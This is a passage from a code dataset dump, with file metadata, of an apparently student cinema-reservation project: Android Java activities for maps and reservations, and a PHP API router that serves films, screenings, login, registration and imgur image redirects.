komunikaciju sa web servisom.\\r\\n\\t */\\r\\n\\tprotected String doInBackground(String... podaciPrijava) {\\r\\n\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t \\r\\n\\t\\tHttpPost httpPostZahtjev = new HttpPost(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=obrisirezervaciju\\\");\\r\\n\\t\\tString jsonResult = \\\"\\\";\\r\\n\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\t\\t\\t\\r\\n\\t\\tList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();\\r\\n\\t\\tnameValuePairs.add(new BasicNameValuePair(\\\"korisnickoime\\\", podaciPrijava[0]));\\r\\n\\t\\tnameValuePairs.add(new BasicNameValuePair(\\\"projekcija\\\", podaciPrijava[1]));\\r\\n\\r\\n\\t\\ttry {\\r\\n\\t\\t\\t httpPostZahtjev.setEntity(new UrlEncodedFormEntity(nameValuePairs));\\r\\n\\t\\t\\t jsonResult = httpKlijent.execute(httpPostZahtjev, handler);\\r\\n\\t\\t}\\r\\n\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\tcatch(IOException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\treturn jsonResult;\\r\\n\\t}\\r\\n\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7414926290512085,\n \"alphanum_fraction\": 0.7454359531402588,\n \"avg_line_length\": 34.036842346191406,\n \"blob_id\": \"0bb34997366c29875ff5e8b2a614f383ad8ac950\",\n \"content_id\": \"e2bce0726a600387f9e09973304285bc11d108e9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 6875,\n \"license_type\": \"no_license\",\n \"max_line_length\": 173,\n \"num_lines\": 190,\n \"path\": \"/client-side/src/hr/air/mkino/MojaMapaActivity.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino;\\r\\n\\r\\nimport java.util.List;\\r\\n\\r\\nimport com.google.android.gms.maps.CameraUpdate;\\r\\nimport com.google.android.gms.maps.CameraUpdateFactory;\\r\\nimport com.google.android.gms.maps.GoogleMap;\\r\\nimport com.google.android.gms.maps.SupportMapFragment;\\r\\nimport com.google.android.gms.maps.model.BitmapDescriptorFactory;\\r\\nimport com.google.android.gms.maps.model.CameraPosition;\\r\\nimport com.google.android.gms.maps.model.LatLng;\\r\\nimport com.google.android.gms.maps.model.MarkerOptions;\\r\\n\\r\\nimport hr.air.mkino.R;\\r\\nimport hr.air.mkino.baza.MultipleksAdapter;\\r\\nimport hr.air.mkino.baza.OdabraniMultipleksAdapter;\\r\\nimport hr.air.mkino.lokacija.PratiteljLokacije;\\r\\nimport hr.air.mkino.server.JsonMultipleksi;\\r\\nimport hr.air.mkino.tipovi.MultipleksInfo;\\r\\nimport android.os.Bundle;\\r\\nimport android.support.v4.app.FragmentActivity;\\r\\nimport android.view.Menu;\\r\\nimport android.view.MenuItem;\\r\\nimport android.view.View;\\r\\nimport android.widget.AdapterView;\\r\\nimport android.widget.AdapterView.OnItemSelectedListener;\\r\\nimport android.widget.Spinner;\\r\\n\\r\\n/**\\r\\n * Ova klasa služi za prikaz multipleksa i odabir istog. \\r\\n * Odabrani multipleks će se pohraniti u lokalnoj bazi i biti će korišten svaki puta kada to bude bilo potrebno u aplikaciji\\r\\n * @author domagoj\\r\\n */\\r\\npublic class MojaMapaActivity extends FragmentActivity {\\r\\n\\tprivate GoogleMap mapa;\\r\\n\\tprivate Spinner spinner;\\r\\n\\tprivate List<MultipleksInfo> multipleksi;\\r\\n\\tprivate OdabraniMultipleksAdapter odabraniMultipleks;\\r\\n\\t\\r\\n\\t@Override\\r\\n\\tprotected void onCreate(Bundle savedInstanceState) {\\r\\n\\t\\tsuper.onCreate(savedInstanceState);\\r\\n\\t\\tsetContentView(R.layout.activity_moja_mapa);\\r\\n\\t\\tsetTitle(\\\"Prikaz multipleksa\\\");\\r\\n\\t\\t\\r\\n\\t\\tmapa = ((SupportMapFragment) getSupportFragmentManager().findFragmentById(R.id.map_fragment)).getMap();\\r\\n\\t\\tspinner = (Spinner) findViewById(R.id.odabir_multipleksa);\\r\\n\\t\\tmultipleksi = dohvatiMultiplekse();\\r\\n\\t\\t\\r\\n\\t\\todabraniMultipleks = new OdabraniMultipleksAdapter(this);\\r\\n\\t\\t// postavljamo spinner na vrijednost iz baze podataka\\r\\n\\t\\tpostaviSpinner(odabraniMultipleks);\\r\\n\\t\\t\\r\\n\\t\\t// omogućujemo da se svaka promjena spinnera prikaže na karti i također odmah prikazujemo multiplekse na karti\\r\\n\\t\\tspinner.setOnItemSelectedListener(new OnItemSelectedListener() {\\r\\n\\t\\t\\t@Override\\r\\n\\t\\t\\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long idOdabranogMultipleksa) {\\r\\n\\t\\t\\t\\tprikaziMultipleksaNaKarti(multipleksi);\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t// pohranjujemo vrijednost spinnera u bazu podataka\\r\\n\\t\\t\\t\\todabraniMultipleks.pohraniOdabraniMultipleks((int)idOdabranogMultipleksa);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t@Override\\r\\n\\t\\t\\tpublic void onNothingSelected(AdapterView<?> arg0) {}\\r\\n\\t\\t});\\r\\n\\t\\t\\r\\n\\t\\t\\r\\n\\t}\\r\\n\\r\\n\\t@Override\\r\\n\\tpublic boolean onCreateOptionsMenu(Menu menu) {\\r\\n\\t\\t// Inflate the menu; this adds items to the action bar if it is present.\\r\\n\\t\\tgetMenuInflater().inflate(R.menu.moja_mapa_activity, menu);\\r\\n\\t\\treturn true;\\r\\n\\t}\\r\\n\\t@Override\\r\\n\\tpublic boolean onOptionsItemSelected(MenuItem item) {\\r\\n\\t\\tswitch (item.getItemId()) {\\r\\n\\t\\tcase R.id.geolokacija:\\r\\n\\t\\t\\t\\t// brišemo postojeći multipleks iz baze i postavljamo novi (koji će biti dobiven geolokacijom)\\r\\n\\t\\t\\t\\todabraniMultipleks.obrisiMultiplekseIzBaze();\\r\\n\\t\\t\\t\\tpostaviSpinner(odabraniMultipleks);\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\treturn super.onOptionsItemSelected(item);\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Dohvaća multiplekse. \\r\\n\\t * Ukoliko postoje u lokalnoj bazi, dohvaća ih iz nje, a ukoliko ne, dohvaća ih sa servisa. To je učinjeno u svrhu štednje podatkovnog prometa\\r\\n\\t * @return lista s dohvaćenim multipleksima\\r\\n\\t */\\r\\n\\tprivate List<MultipleksInfo> dohvatiMultiplekse() {\\r\\n\\t\\tMultipleksAdapter multipleksAdapter = new MultipleksAdapter(this);\\r\\n\\t\\tList<MultipleksInfo> multipleksi = multipleksAdapter.dohvatiMultiplekse();\\r\\n\\t\\t\\r\\n\\t\\tif (multipleksi.size() == 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tJsonMultipleksi jsonMultipleksi = new JsonMultipleksi();\\r\\n\\t\\t\\tmultipleksi = jsonMultipleksi.dohvatiMultiplekse();\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t// unos dohvaćenih multipleksa u lokalnu bazu\\r\\n\\t\\t\\tfor (MultipleksInfo multipleks : multipleksi)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tmultipleksAdapter.unosMultipleksa(multipleks);\\r\\n\\t\\t\\t}\\r\\n\\t\\t} \\r\\n\\t\\t\\r\\n\\t\\treturn multipleksi;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Prikazuje multiplekse na karti (prije toga čisti kartu od svih postavljenih multipleksa)\\r\\n\\t * @param multipleksi\\r\\n\\t */\\r\\n\\tprivate void prikaziMultipleksaNaKarti(List<MultipleksInfo> multipleksi) {\\r\\n\\t\\tlong idMultipleksaSpinner = spinner.getSelectedItemId();\\r\\n\\t\\t\\r\\n\\t\\tmapa.clear();\\r\\n\\t\\tfor (MultipleksInfo multipleks : multipleksi)\\r\\n\\t\\t{\\r\\n\\t\\t\\tMarkerOptions marker = new MarkerOptions();\\r\\n\\t\\t\\tmarker.title(multipleks.getNaziv());\\r\\n\\t\\t\\tmarker.position(new LatLng(multipleks.getZemljopisnaSirina(), multipleks.getZemljopisnaDuzina()));\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tif (multipleks.getIdMultipleksa() == idMultipleksaSpinner + 1)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tmarker.icon(BitmapDescriptorFactory.fromResource(R.drawable.kino_selektirano));\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tfloat lat = multipleks.getZemljopisnaSirina();\\r\\n\\t\\t\\t\\tfloat lng = multipleks.getZemljopisnaDuzina();\\r\\n\\t\\t\\t\\tCameraPosition cp = new CameraPosition(new LatLng(lat, lng), 6, 0, 0);\\r\\n\\t\\t\\t\\tCameraUpdate cu = CameraUpdateFactory.newCameraPosition(cp);\\r\\n\\t\\t\\t\\tmapa.animateCamera(cu);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tmarker.icon(BitmapDescriptorFactory.fromResource(R.drawable.kino));\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tmapa.addMarker(marker);\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Postavlja početnu vrijednost na spinner za odabir lokacije. Ukoliko taj podatak ne postoji u bazi, postavljamo spinner na index 0 (grad Zagreb)\\r\\n\\t * @param odabraniMultipleks koji će biti postavljen na spinner\\r\\n\\t */\\r\\n\\tprivate void postaviSpinner(OdabraniMultipleksAdapter odabraniMultipleks) {\\r\\n\\t\\tint trenutnaVrijednost = odabraniMultipleks.dohvatiOdabraniMultipleks();\\r\\n\\t\\t\\r\\n\\t\\tif (trenutnaVrijednost == -1)\\r\\n\\t\\t\\tspinner.setSelection(indeksNajblizegMultipleksa());\\r\\n\\t\\telse\\r\\n\\t\\t\\tspinner.setSelection(trenutnaVrijednost);\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Ova metoda vraća indeks najbližeg multipleksa kako bi se on mogao koristiti u spinner-u. Pod pojmom \\\"najbliži\\\" se misli prostorno najbliži od trenutne lokacije korisnika\\r\\n\\t * @return indeks najbližeg multipleksa\\r\\n\\t */\\r\\n\\tprivate int indeksNajblizegMultipleksa() {\\r\\n\\t\\tPratiteljLokacije pratitelj = new PratiteljLokacije(this);\\r\\n\\t\\t\\r\\n\\t\\tif (pratitelj.lokacijaDostupna())\\r\\n\\t\\t{\\r\\n\\t\\t\\tint indeksNajblizegMultipleksa = 0;\\r\\n\\t\\t\\tfloat udaljenostDoNajblizegMultipleksa = 999999999; // za početnu udaljenost stavimo neki jako veliki broj (jer se traži najmanja udaljenost)\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tfor (MultipleksInfo multipleks : multipleksi)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tfloat tmpUdaljenost = pratitelj.udaljenostDo(multipleks.getZemljopisnaDuzina(), multipleks.getZemljopisnaSirina());\\r\\n\\t\\t\\t\\tif (tmpUdaljenost < udaljenostDoNajblizegMultipleksa)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tudaljenostDoNajblizegMultipleksa = tmpUdaljenost;\\r\\n\\t\\t\\t\\t\\tindeksNajblizegMultipleksa = multipleks.getIdMultipleksa();\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn indeksNajblizegMultipleksa - 1; // oduzimamo 1 jer u bazi podaci počinju od 1, a nama za spinner trebaju podaci od 0\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\treturn 0;\\r\\n\\t\\t}\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5790421962738037,\n \"alphanum_fraction\": 0.603501558303833,\n \"avg_line_length\": 44.42629623413086,\n \"blob_id\": \"ab59516d14d09b543d7e51d5935a11f6a01de672\",\n \"content_id\": \"28cc7af3ae32cd67fa936596163697445ff73d98\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"PHP\",\n \"length_bytes\": 11659,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 251,\n \"path\": \"/server-side/Datoteke/skripte/index.php\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"<?php\\r\\n // filmovi\\r\\n if ($_GET['tip'] == 'filmovi')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $filmovi = Filmovi::DohvatiFilmove($_GET['aktualno']);\\r\\n echo json_encode($filmovi);\\r\\n } \\r\\n else if($_GET['tip'] == 'mr')\\r\\n {\\r\\n \\r\\n require_once 'filmovi.php'; \\r\\n $korisnik = $_GET['korisnik'];\\r\\n $uspjesno = Filmovi::DohvatiRezervacije($korisnik);\\r\\n echo json_encode($uspjesno);\\r\\n }\\r\\n else if ($_GET['tip'] == 'nekifilmovi')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $bezOvihFilmova = $_POST['bezOvihFilmova'];\\r\\n $filmovi = Filmovi::DohvatiNekeFilmove($_GET['aktualno'], $bezOvihFilmova);\\r\\n echo json_encode($filmovi);\\r\\n }\\r\\n \\r\\n // sve projekcije \\r\\n else if ($_GET['tip'] == 'projekcije')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $projekcije = Filmovi::DohvatiSveProjekcije($_GET['film'], $_GET['multipleks']);\\r\\n echo json_encode($projekcije);\\r\\n }\\r\\n \\r\\n // projekcije na današnji dan\\r\\n else if ($_GET['tip'] == 'projekcijeDanas')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $datum = date('Y-m-d');\\r\\n $projekcije = Filmovi::DohvatiProjekcijeNaDan($_GET['film'], $_GET['multipleks'], $datum);\\r\\n echo json_encode($projekcije);\\r\\n }\\r\\n \\r\\n // sve projekcije za multipleks\\r\\n else if ($_GET['tip'] == 'projekcijeMultipleks')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $bezOvihProjekcija = $_POST['bezOvihProjekcija'];\\r\\n $projekcije = Filmovi::DohvatiProjekcijeMultipleks($_GET['multipleks'], $bezOvihProjekcija);\\r\\n echo json_encode($projekcije);\\r\\n }\\r\\n // sjedala za projekciju\\r\\n else if ($_GET['tip'] == 'sjedalaProjekcija')\\r\\n {\\r\\n require_once 'filmovi.php'; \\r\\n $sjedala = Filmovi::DohvatiSjedalaProjekcija($_GET['projekcija']);\\r\\n echo json_encode($sjedala);\\r\\n }\\r\\n //rezervacija ulaznica\\r\\n else if($_GET['tip'] == 'rezervacija')\\r\\n {\\r\\n require_once 'filmovi.php'; \\r\\n $sjedala = $_POST['sjedala'];\\r\\n $korisnik = $_POST['korisnik'];\\r\\n $projekcija = $_POST['projekcija'];\\r\\n \\r\\n $uspjesno = Filmovi::Rezerviraj($projekcija,$korisnik, $sjedala);\\r\\n echo json_encode($uspjesno);\\r\\n }\\r\\n //moje rezervacije\\r\\n\\r\\n //moje rezervacije\\r\\n else if($_GET['tip'] == 'obrisirezervaciju')\\r\\n {\\r\\n require_once 'filmovi.php'; \\r\\n\\t$korisnickoIme = $_POST['korisnickoime'];\\r\\n $projekcija = $_POST['projekcija'];\\r\\n \\r\\n $uspjesno = Filmovi::ObrisiMojuRezervaciju($korisnickoIme, $projekcija);\\r\\n echo json_encode($uspjesno);\\r\\n }\\r\\n // projekcije na odreÄ‘eni dan\\r\\n else if ($_GET['tip'] == 'projekcijeNaDan')\\r\\n {\\r\\n require_once 'filmovi.php';\\r\\n $godina = $_GET['godina'];\\r\\n $mjesec = sprintf('%02d', $_GET['mjesec']);\\r\\n $dan = sprintf('%02d', $_GET['dan']);\\r\\n $datum = \\\"$godina-$mjesec-$dan\\\";\\r\\n $projekcije = Filmovi::DohvatiProjekcijeNaDan($_GET['film'], $_GET['multipleks'], $datum);\\r\\n echo json_encode($projekcije);\\r\\n }\\r\\n \\r\\n // prijava korisnika\\r\\n else if ($_GET['tip'] == 'prijava')\\r\\n {\\r\\n require_once 'korisnici.php';\\r\\n $korisnik = Korisnici::PrijaviSe($_POST['korisnickoIme'], $_POST['lozinka']);\\r\\n echo json_encode($korisnik);\\r\\n }\\r\\n \\r\\n // registracija korisnika\\r\\n else if ($_GET['tip'] == 'registracija')\\r\\n {\\r\\n require_once 'korisnici.php';\\r\\n $podaci = array();\\r\\n $podaci['korisnickoIme'] = $_POST['korisnickoIme'];\\r\\n $podaci['salt'] = hash('sha512', time());\\r\\n $podaci['lozinka'] = hash('sha512', $_POST['lozinka'] . $podaci['salt']);\\r\\n $podaci['ime'] = $_POST['ime'];\\r\\n $podaci['prezime'] = $_POST['prezime'];\\r\\n $podaci['email'] = $_POST['email'];\\r\\n $podaci['telefon'] = $_POST['telefon'];\\r\\n $povratnaInformacija = Korisnici::RegistrirajSe($podaci);\\r\\n echo json_encode($povratnaInformacija);\\r\\n }\\r\\n \\r\\n // dohvat multipleksa\\r\\n else if ($_GET['tip'] == 'multipleksi')\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT * FROM multipleksi\\\";\\r\\n $multipleksi = UpitUBazu($upit);\\r\\n echo json_encode($multipleksi);\\r\\n }\\r\\n \\r\\n // dohvat velikih slika\\r\\n else if ($_GET['tip'] == 'slike')\\r\\n {\\r\\n switch ($_GET['id'])\\r\\n {\\r\\n case \\\"2\\\": header(\\\"Location: http://i.imgur.com/41duaTf.jpg\\\"); break;\\r\\n case \\\"3\\\": header(\\\"Location: http://i.imgur.com/Lz9I5IV.jpg\\\"); break;\\r\\n case \\\"4\\\": header(\\\"Location: http://i.imgur.com/5QHm0os.jpg\\\"); break;\\r\\n case \\\"5\\\": header(\\\"Location: http://i.imgur.com/W4ES8Cy.jpg\\\"); break;\\r\\n case \\\"6\\\": header(\\\"Location: http://i.imgur.com/ikGcaAB.jpg\\\"); break;\\r\\n case \\\"7\\\": header(\\\"Location: http://i.imgur.com/MzjVnsg.jpg\\\"); break;\\r\\n case \\\"8\\\": header(\\\"Location: http://i.imgur.com/M7MnWkj.jpg\\\"); break;\\r\\n case \\\"9\\\": header(\\\"Location: http://i.imgur.com/A9DfZlk.jpg\\\"); break;\\r\\n case \\\"10\\\": header(\\\"Location: http://i.imgur.com/VKTJTOV.jpg\\\"); break;\\r\\n \\r\\n case \\\"11\\\": header(\\\"Location: http://i.imgur.com/b4xOyuV.jpg\\\"); break;\\r\\n case \\\"12\\\": header(\\\"Location: http://i.imgur.com/LCJFEUG.jpg\\\"); break;\\r\\n case \\\"13\\\": header(\\\"Location: http://i.imgur.com/JJOt68E.jpg\\\"); break;\\r\\n case \\\"14\\\": header(\\\"Location: http://i.imgur.com/P2FxpMW.jpg\\\"); break;\\r\\n case \\\"15\\\": header(\\\"Location: http://i.imgur.com/TU0Z9iw.jpg\\\"); break;\\r\\n case \\\"16\\\": header(\\\"Location: http://i.imgur.com/yd5Ogel.jpg\\\"); break;\\r\\n case \\\"17\\\": header(\\\"Location: http://i.imgur.com/TYWQOH8.jpg\\\"); break;\\r\\n case \\\"18\\\": header(\\\"Location: http://i.imgur.com/RznPMMI.jpg\\\"); break;\\r\\n case \\\"19\\\": header(\\\"Location: http://i.imgur.com/X7PtQu4.jpg\\\"); break;\\r\\n case \\\"20\\\": header(\\\"Location: http://i.imgur.com/cmODA5w.jpg\\\"); break;\\r\\n \\r\\n case \\\"21\\\": header(\\\"Location: http://i.imgur.com/alUguKF.jpg\\\"); break;\\r\\n case \\\"22\\\": header(\\\"Location: http://i.imgur.com/nGHZK2L.jpg\\\"); break;\\r\\n case \\\"23\\\": header(\\\"Location: http://i.imgur.com/4f7JLUL.jpg\\\"); break;\\r\\n case \\\"24\\\": header(\\\"Location: http://i.imgur.com/K53NSsu.jpg\\\"); break;\\r\\n case \\\"25\\\": header(\\\"Location: http://i.imgur.com/yjoEYrl.jpg\\\"); break;\\r\\n case \\\"26\\\": header(\\\"Location: http://i.imgur.com/ftgC6GD.jpg\\\"); break;\\r\\n case \\\"27\\\": header(\\\"Location: http://i.imgur.com/OlSyMT5.jpg\\\"); break;\\r\\n case \\\"28\\\": header(\\\"Location: http://i.imgur.com/W2PgXVM.jpg\\\"); break;\\r\\n case \\\"29\\\": header(\\\"Location: http://i.imgur.com/R6Nfg64.jpg\\\"); break;\\r\\n case \\\"30\\\": header(\\\"Location: http://i.imgur.com/xu5dxMn.jpg\\\"); break;\\r\\n \\r\\n case \\\"31\\\": header(\\\"Location: http://i.imgur.com/OT1S7Ab.jpg\\\"); break;\\r\\n case \\\"32\\\": header(\\\"Location: http://i.imgur.com/LBVVjKB.jpg\\\"); break;\\r\\n case \\\"33\\\": header(\\\"Location: http://i.imgur.com/xlyP7ey.jpg\\\"); break;\\r\\n case \\\"34\\\": header(\\\"Location: http://i.imgur.com/ycV5Jbm.jpg\\\"); break;\\r\\n case \\\"35\\\": header(\\\"Location: http://i.imgur.com/SFvYvfO.jpg\\\"); break;\\r\\n case \\\"36\\\": header(\\\"Location: http://i.imgur.com/8ksN3w7.jpg\\\"); break;\\r\\n case \\\"37\\\": header(\\\"Location: http://i.imgur.com/RISNSTL.jpg\\\"); break;\\r\\n case \\\"38\\\": header(\\\"Location: http://i.imgur.com/GVMkesY.jpg\\\"); break;\\r\\n case \\\"39\\\": header(\\\"Location: http://i.imgur.com/J1PSoao.jpg\\\"); break;\\r\\n case \\\"40\\\": header(\\\"Location: http://i.imgur.com/ma4wI5O.jpg\\\"); break;\\r\\n \\r\\n case \\\"41\\\": header(\\\"Location: http://i.imgur.com/bvyvVZH.jpg\\\"); break;\\r\\n case \\\"42\\\": header(\\\"Location: http://i.imgur.com/H0lry9h.jpg\\\"); break;\\r\\n case \\\"43\\\": header(\\\"Location: http://i.imgur.com/az7PGpb.jpg\\\"); break;\\r\\n case \\\"44\\\": header(\\\"Location: http://i.imgur.com/vPPo6id.jpg\\\"); break;\\r\\n case \\\"45\\\": header(\\\"Location: http://i.imgur.com/ikNySIx.jpg\\\"); break;\\r\\n case \\\"46\\\": header(\\\"Location: http://i.imgur.com/4NEJUfJ.jpg\\\"); break;\\r\\n case \\\"47\\\": header(\\\"Location: http://i.imgur.com/tYhjKwx.jpg\\\"); break;\\r\\n case \\\"48\\\": header(\\\"Location: http://i.imgur.com/Xnl2Jfm.jpg\\\"); break;\\r\\n case \\\"49\\\": header(\\\"Location: http://i.imgur.com/lmsD41e.jpg\\\"); break;\\r\\n }\\r\\n }\\r\\n \\r\\n \\r\\n // dohvat malih slika\\r\\n else if ($_GET['tip'] == 'slikemale')\\r\\n {\\r\\n\\tswitch ($_GET['id'])\\r\\n\\t{\\r\\n\\t case \\\"2\\\": header(\\\"Location: http://i.imgur.com/fhuwmjN.jpg\\\"); break;\\r\\n case \\\"3\\\": header(\\\"Location: http://i.imgur.com/shncnOp.jpg\\\"); break;\\r\\n case \\\"4\\\": header(\\\"Location: http://i.imgur.com/l1ZkxI2.jpg\\\"); break;\\r\\n case \\\"5\\\": header(\\\"Location: http://i.imgur.com/YQbfygu.jpg\\\"); break;\\r\\n case \\\"6\\\": header(\\\"Location: http://i.imgur.com/oPdiKUZ.jpg\\\"); break;\\r\\n case \\\"7\\\": header(\\\"Location: http://i.imgur.com/NBsc8a0.jpg\\\"); break;\\r\\n case \\\"8\\\": header(\\\"Location: http://i.imgur.com/xI5ayDs.jpg\\\"); break;\\r\\n case \\\"9\\\": header(\\\"Location: http://i.imgur.com/zNTEjWw.jpg\\\"); break;\\r\\n case \\\"10\\\": header(\\\"Location: http://i.imgur.com/Gpb6t9t.jpg\\\"); break;\\r\\n \\r\\n case \\\"11\\\": header(\\\"Location: http://i.imgur.com/6CdX34K.jpg\\\"); break;\\r\\n case \\\"12\\\": header(\\\"Location: http://i.imgur.com/CD5y8OS.jpg\\\"); break;\\r\\n case \\\"13\\\": header(\\\"Location: http://i.imgur.com/9jJXkJs.jpg\\\"); break;\\r\\n case \\\"14\\\": header(\\\"Location: http://i.imgur.com/NJlzEih.jpg\\\"); break;\\r\\n case \\\"15\\\": header(\\\"Location: http://i.imgur.com/tfCJrV6.jpg\\\"); break;\\r\\n case \\\"16\\\": header(\\\"Location: http://i.imgur.com/aQqIrbx.jpg\\\"); break;\\r\\n case \\\"17\\\": header(\\\"Location: http://i.imgur.com/rLuAtwh.jpg\\\"); break;\\r\\n case \\\"18\\\": header(\\\"Location: http://i.imgur.com/xVkne5N.jpg\\\"); break;\\r\\n case \\\"19\\\": header(\\\"Location: http://i.imgur.com/BTxPbMM.jpg\\\"); break;\\r\\n case \\\"20\\\": header(\\\"Location: http://i.imgur.com/mtWD9es.jpg\\\"); break;\\r\\n \\r\\n case \\\"21\\\": header(\\\"Location: http://i.imgur.com/uDhILCV.jpg\\\"); break;\\r\\n case \\\"22\\\": header(\\\"Location: http://i.imgur.com/SNU5hAY.jpg\\\"); break;\\r\\n case \\\"23\\\": header(\\\"Location: http://i.imgur.com/Y3CwUNK.jpg\\\"); break;\\r\\n case \\\"24\\\": header(\\\"Location: http://i.imgur.com/Y0l9Q4z.jpg\\\"); break;\\r\\n case \\\"25\\\": header(\\\"Location: http://i.imgur.com/ssnK6Vm.jpg\\\"); break;\\r\\n case \\\"26\\\": header(\\\"Location: http://i.imgur.com/v1h7CAi.jpg\\\"); break;\\r\\n case \\\"27\\\": header(\\\"Location: http://i.imgur.com/zjbVdfr.jpg\\\"); break;\\r\\n case \\\"28\\\": header(\\\"Location: http://i.imgur.com/fQfICzc.jpg\\\"); break;\\r\\n case \\\"29\\\": header(\\\"Location: http://i.imgur.com/DNfo0aF.jpg\\\"); break;\\r\\n case \\\"30\\\": header(\\\"Location: http://i.imgur.com/ycJ8KLs.jpg\\\"); break;\\r\\n \\r\\n case \\\"31\\\": header(\\\"Location: http://i.imgur.com/z8Hd68m.jpg\\\"); break;\\r\\n case \\\"32\\\": header(\\\"Location: http://i.imgur.com/Ewhy0AZ.jpg\\\"); break;\\r\\n case \\\"33\\\": header(\\\"Location: http://i.imgur.com/XXxwvIC.jpg\\\"); break;\\r\\n case \\\"34\\\": header(\\\"Location: http://i.imgur.com/Dpp0M94.jpg\\\"); break;\\r\\n case \\\"35\\\": header(\\\"Location: http://i.imgur.com/WVtj1mL.jpg\\\"); break;\\r\\n case \\\"36\\\": header(\\\"Location: http://i.imgur.com/CAiV3FU.jpg\\\"); break;\\r\\n case \\\"37\\\": header(\\\"Location: http://i.imgur.com/xuuSCoM.jpg\\\"); break;\\r\\n case \\\"38\\\": header(\\\"Location: http://i.imgur.com/dVUNbps.jpg\\\"); break;\\r\\n case \\\"39\\\": header(\\\"Location: http://i.imgur.com/DETgBHh.jpg\\\"); break;\\r\\n case \\\"40\\\": header(\\\"Location: http://i.imgur.com/1giMHc5.jpg\\\"); break;\\r\\n \\r\\n case \\\"41\\\": header(\\\"Location: http://i.imgur.com/vHGma35.jpg\\\"); break;\\r\\n case \\\"42\\\": header(\\\"Location: http://i.imgur.com/5RqA71y.jpg\\\"); break;\\r\\n case \\\"43\\\": header(\\\"Location: http://i.imgur.com/pje2KYS.jpg\\\"); break;\\r\\n case \\\"44\\\": header(\\\"Location: http://i.imgur.com/ExWIfhd.jpg\\\"); break;\\r\\n case \\\"45\\\": header(\\\"Location: http://i.imgur.com/fZFGUJ6.jpg\\\"); break;\\r\\n case \\\"46\\\": header(\\\"Location: http://i.imgur.com/NCy0e8k.jpg\\\"); break;\\r\\n case \\\"47\\\": header(\\\"Location: http://i.imgur.com/6xXmYyG.jpg\\\"); break;\\r\\n case \\\"48\\\": header(\\\"Location: http://i.imgur.com/qCOpBtG.jpg\\\"); break;\\r\\n case \\\"49\\\": header(\\\"Location: http://i.imgur.com/ArseZX8.jpg\\\"); break;\\r\\n\\t}\\r\\n }\\r\\n \\r\\n // pogreška\\r\\n else\\r\\n {\\r\\n echo \\\"Nisu uneseni parametri\\\";\\r\\n }\\r\\n?> \"\n },\n {\n \"alpha_fraction\": 0.6528083682060242,\n \"alphanum_fraction\": 0.6554985046386719,\n \"avg_line_length\": 31.516393661499023,\n \"blob_id\": \"83af44dc42919d4ca40697d7fda221e2a07a7ac1\",\n \"content_id\": \"8b3de4cde2cbb6904e63af24ab4b5bab63d718d4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 12286,\n \"license_type\": \"no_license\",\n \"max_line_length\": 149,\n \"num_lines\": 366,\n \"path\": \"/client-side/src/hr/air/mkino/RezervacijaActivity.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino;\\r\\n\\r\\n\\r\\n\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.Iterator;\\r\\nimport java.util.List;\\r\\n\\r\\nimport hr.air.mkino.baza.MultipleksAdapter;\\r\\nimport 